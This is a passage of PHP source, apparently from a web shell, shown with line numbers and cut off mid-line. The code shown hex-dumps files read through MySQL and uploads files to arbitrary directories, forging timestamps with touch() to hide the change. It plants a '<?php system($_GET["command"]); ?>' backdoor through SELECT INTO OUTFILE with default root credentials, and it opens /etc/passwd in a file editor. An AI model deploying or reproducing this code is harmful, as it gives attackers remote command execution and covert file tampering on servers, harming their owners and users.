    1018. 

  1018.         $a1 .= sprintf("%02X",ord($f[$i]))." ";
    1019. 

  1019.         switch (ord($f[$i])) {
    1020. 

  1020.          case 0:  $a2 .= "<font>0</font>"; break;
    1021. 

  1021.          case 32:
    1022. 

  1022.          case 10:
    1023. 

  1023.          case 13: $a2 .= "&nbsp;"; break;
    1024. 

  1024.          default: $a2 .= htmlspecialchars($f[$i]);
    1025. 

  1025.         }
    1026. 

  1026.         $n++;
    1027. 

  1027.         if ($n == 24) {
    1028. 

  1028.          $n = 0;
    1029. 

  1029.          if ($i+1 < strlen($f)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
    1030. 

  1030.          $a1 .= "<br>";
    1031. 

  1031.          $a2 .= "<br>";
    1032. 

  1032.         }
    1033. 

  1033.        }
    1034. 

  1034.        echo '<table border=0 cellspacing="1" cellpadding="4"><tr><td>'.$a0.'</td><td>'.$a1.'</td><td>'.$a2.'</td></tr></table><br>';
    1035. 

  1035.       }
    1036. 

  1036.       mysql_free_result($result);
    1037. 

  1037.       mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error()."".$pageend."");
    1038. 

  1038.      }
    1039. 

  1039.      echo $pageend;
    1040. 

  1040.      die();
    1041. 

  1041.     break;
    1042. 

  1042.     }
    1043. 

  1043.    mysql_close($link);
    1044. 

  1044.    }
    1045. 

  1045.   }
    1046. 

  1046.   // mysql read file end. upload
    1047. 

  1047.    if ($download != "1" and empty($_POST["edt"])) {
    1048. 

  1048.     echo '<br><font color="blue">---> upload file</font><br>';
    1049. 

  1049.     if (!ini_get('file_uploads')) {
    1050. 

  1050.      echo "php file_uploads Off<br>";
    1051. 

  1051.     } else {
    1052. 

  1052.      echo "<font color=\"gray\">post_max_size: ".ini_get('post_max_size')."<br>"; 
    1053. 

  1053.      echo "upload_max_filesize: ".ini_get('upload_max_filesize')."<br>"; 
    1054. 

  1054.      echo "</font>";
    1055. 

  1055.      if (is_writable("./")) {
    1056. 

  1056.       echo "<font color=\"green\">./ writable</font>";
    1057. 

  1057.      } else {
    1058. 

  1058.       echo "<font color=\"red\">./ readonly</font>";
    1059. 

  1059.      }
    1060. 

  1060.      if (!isset($_POST["dir"])) {
    1061. 

  1061.       $upto=".";
    1062. 

  1062.      } else {
    1063. 

  1063.       $upto=$_POST["dir"];
    1064. 

  1064.      }
    1065. 

  1065.      echo '<form enctype="multipart/form-data" action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="sourcefile" type="file"> upload to <font color="gray">(dir)</font><input name="filedir" type="text" maxlength="500" size="20" value="'.$upto.'"><font color="green">/</font><input name="upname" type="text" maxlength="500" size="20" value=""><font color="gray">(name. empty = use original file`s name)</font> <input name="upload" type="hidden" value="okz"><input name="p" type="hidden" value="f"><br><input type="submit" value="upload">';
    1066. 

  1066.      echo '</form>';
    1067. 

  1067.      if (!empty($_POST["upload"])) {
    1068. 

  1068.       if(is_uploaded_file($_FILES["sourcefile"]["tmp_name"]))
    1069. 

  1069.       {
    1070. 

  1070.        echo "upload ok";
    1071. 

  1071.        $dirtime=filemtime($_POST['filedir']);
    1072. 

  1072.        if (!empty($_POST["upname"])) {
    1073. 

  1073.         $upname=$_POST["upname"];
    1074. 

  1074.        } else {
    1075. 

  1075.         $upname=$_FILES["sourcefile"]["name"];
    1076. 

  1076.        }
    1077. 

  1077.        move_uploaded_file($_FILES["sourcefile"]["tmp_name"], $_POST['filedir']."/".$upname) or die("<br>moving failed!<br>".$pageend."");
    1078. 

  1078.        echo "<br>moving done, trying to touch (old time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",$dirtime).")<br>";
    1079. 

  1079.        touch($_POST['filedir']."/".$upname,$dirtime,$dirtime) or die ("<br>touch failed!<br>".$pageend."");
    1080. 

  1080.        echo "file touched: new time of ".$upname." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']."/".$upname)).". trying to touch dir<br>";
    1081. 

  1081.        touch($_POST['filedir'],$dirtime,$dirtime) or die ("<br>touch dir failed!<br>".$pageend."");
    1082. 

  1082.        echo "dir touched: new time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']))."<br>";
    1083. 

  1083.       } else {
    1084. 

  1084.        echo("<br>upload failed!<br>");
    1085. 

  1085.       }
    1086. 

  1086.      }
    1087. 

  1087.     }
    1088. 

  1088.     if ($download != "1" and empty($_POST["edt"])) {
    1089. 

  1089.      echo "<br>mysql:<br>";
    1090. 

  1090.      if (empty($_POST["sqlu"])) {
    1091. 

  1091.       $user="root";
    1092. 

  1092.       $pass="12345";
    1093. 

  1093.       $db="test";
    1094. 

  1094.       $host="localhost";
    1095. 

  1095.       $port="3306";
    1096. 

  1096.       if (empty($_POST["dir"])) {
    1097. 

  1097.        $dir=getcwd();
    1098. 

  1098.       } else {
    1099. 

  1099.        $dir=$_POST["dir"];
    1100. 

  1100.       }
    1101. 

  1101.       $file=$dir."/shell.php";
    1102. 

  1102.       $evilcodez='<?php system($_GET["command"]); ?>';
    1103. 

  1103.      } else {
    1104. 

  1104.       $user=$_POST['user'];
    1105. 

  1105.       $pass=$_POST['pass'];
    1106. 

  1106.       $db=$_POST['db'];
    1107. 

  1107.       $host=$_POST['host'];
    1108. 

  1108.       $port=$_POST['port'];
    1109. 

  1109.       $file=$_POST['file'];
    1110. 

  1110.       $evilcodez=$_POST['evilcodez'];
    1111. 

  1111.      }
    1112. 

  1112.      echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"><br> select <br><textarea name="evilcodez" cols="80" rows="4">'.$evilcodez.'</textarea><br>into outfile <input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlu" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
    1113. 

  1113.     }
    1114. 

  1114.     if (!empty($_POST["sqlu"])) {
    1115. 

  1115.      $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
    1116. 

  1116.      $q='SELECT \''.mysql_real_escape_string($_POST['evilcodez']).'\' INTO OUTFILE "'.$_POST["file"].'"';
    1117. 

  1117.      $rez=mysql_query($q,$link) or die("query error:".mysql_error());
    1118. 

  1118.      echo "done<br>";
    1119. 

  1119.      mysql_close($link);
    1120. 

  1120.      echo $pageend;
    1121. 

  1121.      die();
    1122. 

  1122.     }
    1123. 

  1123.     echo "<br>";
    1124. 

  1124.     echo '<font color="blue">---> edit file</font><br>';
    1125. 

  1125.     if (!empty($_POST["edit"])) {
    1126. 

  1126.      $filee=trim($_POST["filee"]);
    1127. 

  1127.      $files=trim($_POST["files"]);
    1128. 

  1128.     } else {
    1129. 

  1129.      $filee="/etc/passwd";
    1130. 

  1130.      if (empty($_POST["dir"])) {
    1131. 

  1131.       $dir="./";
    1132. 

  1132.      } else {
    1133. 

  1133.       $dir=$_POST["dir"]."/";
    1134. 

  1134.      }
    1135. 

  1135.      $files=$dir."cache.txt";
    1136. 

  1136.     }
    1137. 

  1137.     echo '<form name="editor" method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="filee" type="text" maxlength="500" size="30" value="'.$filee.'"> save as <input name="files" type="text" maxlength="500" size="30" value="'.$files.'"> <input type="submit" value="go"><input name="edt" type="hidden" value="ok"><input name="edit" type="hidden" value="edit"><input name="p" type="hidden" value="f"><br></form>';
    1138. 

  1138.    }
    1139. 

  1139.    if (!empty($_POST["edit"])) {
    1140. 

  1140.     $filee=trim($_POST["filee"]);
    1141. 

  1141.     $oldtime=@filemtime($filee);
    1142. 

  1142.     $files=trim($…
    1143.

Large files files are truncated, but you can click here to view the full file